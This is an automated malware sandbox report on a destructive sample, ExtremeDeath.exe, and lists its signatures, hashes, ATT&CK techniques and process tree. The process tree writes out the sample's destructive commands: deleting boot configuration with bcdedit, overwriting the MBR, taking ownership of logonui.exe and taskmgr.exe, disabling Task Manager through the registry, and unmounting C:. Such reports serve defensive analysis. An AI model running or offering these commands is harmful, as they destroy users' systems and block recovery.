86672606e2c825d037b853e4d452826f4b2c8e99e73295c66073b43c68aad11a

Resubmissions

03/05/2024, 16:06

240503-tkfplaag3y6

03/05/2024, 16:00

240503-tf5g6ade478

03/05/2024, 16:00

240503-tfydvaaf6w

03/05/2024, 15:57

240503-tebtfsde2210

Analysis

max time kernel
272s
max time network
271s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 16:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sample.html
Size 20KB
Sample240503-tf5g6ade47
SHA256 86672606e2c825d037b853e4d452826f4b2c8e99e73295c66073b43c68aad11a
MD5 170c9de7c0e854c7c329fcb10ce0639a
SHA1 6f1be01abd2bf70d9cd3c4572150ded661845d8e
SHA512 15ba7d73d8fae8badc8546a23f0dec38fb476972ae0d1c83d3551d1d1e4e63fae51b01e25dc35a0a7ce815f1a386e0b43d2f8b0fb7aeac868eb57912bf83126d
SSDEEP 384:roN7VzbCFDpmReVoOs4yi9ylKeGMaU8HhhbKrui77S2LjMrSb+0IJCgMmVn:ro7iBVoOs4ymyI1MQBhbYBrMrSeJ2mVn
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

bootkit discovery evasion exploit persistence upx

Malware Config

Signatures

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
1500	icacls.exe
4296	icacls.exe
4832	takeown.exe
1868	icacls.exe
2364	icacls.exe
516	takeown.exe

Executes dropped EXE 11 IoCs

pid	Process
4324	TrashMBR.exe
2420	beeper.exe
456	MouseError.exe
4960	MouseWarning.exe
2152	MouseAppIcon.exe
2460	PlgBlt.exe
4004	MouseError.exe
5108	MouseWarning.exe
3892	MouseAppIcon.exe
4412	BitBlt.exe
4360	glitch.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
516	takeown.exe
1500	icacls.exe
4296	icacls.exe
4832	takeown.exe
1868	icacls.exe
2364	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1892-326-0x0000000000400000-0x000000000051D000-memory.dmp	upx
behavioral1/memory/1892-377-0x0000000000400000-0x000000000051D000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
102	raw.githubusercontent.com
103	raw.githubusercontent.com

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
852	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	TrashMBR.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe

Delays execution with timeout.exe 8 IoCs

evasion

pid	Process
2112	timeout.exe
632	timeout.exe
2720	timeout.exe
2036	timeout.exe
3676	timeout.exe
5072	timeout.exe
4580	timeout.exe
2804	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
1256	taskkill.exe
4428	taskkill.exe
2028	taskkill.exe
4208	taskkill.exe
4044	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133592256742742721"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000_Classes\Local Settings	chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1408	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4044	chrome.exe
4044	chrome.exe
4044	chrome.exe
4044	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2460	PlgBlt.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1892	ExtremeDeath.exe
456	MouseError.exe
4960	MouseWarning.exe
2152	MouseAppIcon.exe
2460	PlgBlt.exe
4004	MouseError.exe
3892	MouseAppIcon.exe
5108	MouseWarning.exe
4412	BitBlt.exe
4360	glitch.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 3128	4372	chrome.exe	84
PID 4372 wrote to memory of 3128	4372	chrome.exe	84
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 2768	4372	chrome.exe	85
PID 4372 wrote to memory of 4132	4372	chrome.exe	86
PID 4372 wrote to memory of 4132	4372	chrome.exe	86
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87
PID 4372 wrote to memory of 4344	4372	chrome.exe	87

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\sample.html
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffedf1ecc40,0x7ffedf1ecc4c,0x7ffedf1ecc58
  2⤵
  PID:3128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2024,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=2020 /prefetch:2
  2⤵
  PID:2768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1892,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=1720 /prefetch:3
  2⤵
  PID:4132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2232,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=2576 /prefetch:8
  2⤵
  PID:4344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3140 /prefetch:1
  2⤵
  PID:716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:2868
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4628,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4120 /prefetch:8
  2⤵
  PID:4436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4820,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4832 /prefetch:1
  2⤵
  PID:4968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3372,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3388 /prefetch:1
  2⤵
  PID:3776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4648,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5156 /prefetch:8
  2⤵
  PID:1408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4640,i,7283863260364080948,10564627033746762802,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5092 /prefetch:8
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4044

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3888

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2720

C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeDeath.zip\ExtremeDeath.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeDeath.zip\ExtremeDeath.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1892
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\2E40.tmp\2E41.bat C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeDeath.zip\ExtremeDeath.exe"
  2⤵
  PID:400
- - C:\Windows\system32\cscript.exe
    cscript prompt.vbs
    3⤵
    PID:216
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:852
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\TrashMBR.exe
    TrashMBR.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:4324
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im logonui.exe
    3⤵
    - Kills process with taskkill
    PID:1256
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where name='logonui.exe' delete /nointeractive
    3⤵
    PID:5072
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\logonui.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4832
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\logonui.exe /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2364
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\logonui.exe /grant "everyone":F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1868
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4428
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where name='taskmgr.exe' delete /nointeractive
    3⤵
    PID:2368
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\taskmgr.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:516
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\taskmgr.exe /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1500
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4296
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1408
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\beeper.exe
    beeper.exe
    3⤵
    - Executes dropped EXE
    PID:2420
- - C:\Windows\system32\timeout.exe
    timeout 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2720
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseError.exe
    MouseError.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:456
- - C:\Windows\system32\timeout.exe
    timeout 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2036
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseWarning.exe
    MouseWarning.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4960
- - C:\Windows\system32\timeout.exe
    timeout 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3676
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseAppIcon.exe
    MouseAppIcon.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2152
- - C:\Windows\system32\timeout.exe
    timeout 10 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5072
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\PlgBlt.exe
    PlgBlt.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:2460
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MouseError.exe
    3⤵
    - Kills process with taskkill
    PID:2028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MouseWarning.exe
    3⤵
    - Kills process with taskkill
    PID:4208
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MouseAppIcon.exe
    3⤵
    - Kills process with taskkill
    PID:4044
- - C:\Windows\system32\timeout.exe
    timeout 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4580
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseError.exe
    MouseError.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4004
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseWarning.exe
    MouseWarning.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5108
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\MouseAppIcon.exe
    MouseAppIcon.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3892
- - C:\Windows\system32\timeout.exe
    timeout 15 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2804
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\BitBlt.exe
    BitBlt.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4412
- - C:\Windows\system32\timeout.exe
    timeout 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2112
- - C:\Users\Admin\AppData\Local\Temp\2E3F.tmp\glitch.exe
    glitch.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4360
- - C:\Windows\system32\timeout.exe
    timeout 30 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:632
- - C:\Windows\system32\mountvol.exe
    mountvol c: /d
    3⤵
    PID:1408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 b55650bbf828687d9cb03787c08d3ddb9f5121e86a35a4af4ac1f5e601babf8a
MD5 15b92460fb3f1e5a25a042e08839d808
SHA1 ef92b3799f927a2e4511b161a5ea75b43d995d15
SHA512 278ace6bbb2de295f349633a7a8e651a6a7772c3a6f6db70e7a7ae2ecdf665490235958465bb546415bde836c53ec042b1be3fb4ffe2814f54bfbf4fc2afaf8f
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 cb7616c87e49e6bb2b56a5e08d6f7eb83f9ea83049c481a6897369c690fbd336
MD5 093b2bd30a69156b868bbac5cb7a38b7
SHA1 6255f55ec835e6bbf9b84fdbdc0e1f57be57afda
SHA512 c2e8b4aa509c0a4df0259e0d0a5adba0c3ccaa498ab6ede1d90db6a5fac65fd8041bc9f300ec525ac5d74d4dec2b489ee8e9a0ec64a97b65812f5f7ced6eea29
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 f2f7b1599a9c4ac3ec20e7660f75cce639a6fc188845ed6e18aa05dcf3d867f6
MD5 468132aecb091290b27c69712a038e27
SHA1 038a4044b92f66933d27cbb3763f3ad2d7de4e9a
SHA512 4c607be125cd17f35ccf792699dd50064adda8779f2972425778f0f7e9ec065e399aaa0199465f435810da8b3720f7ab6da07a3209724d06e74ab9c233ae30a7
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 31350744ecda36adb274c793df101a3a5822a92bcf38b815e6134f4c1d5e5005
MD5 0102444002ee80e1346fcd2814306a4f
SHA1 c11886f97d8ee8a8d9183a9b36ca6fb935c8c907
SHA512 c32709febe057db04a4ce377bb8da26bde37592bf74491e9a65d5373b7d2ed1690a462bdc9c1e1bef125923b088f641b95575422fe72bcae88f473026ced2c47
MD5 SHA1 SHA512

Submit Download

TransportSecurity

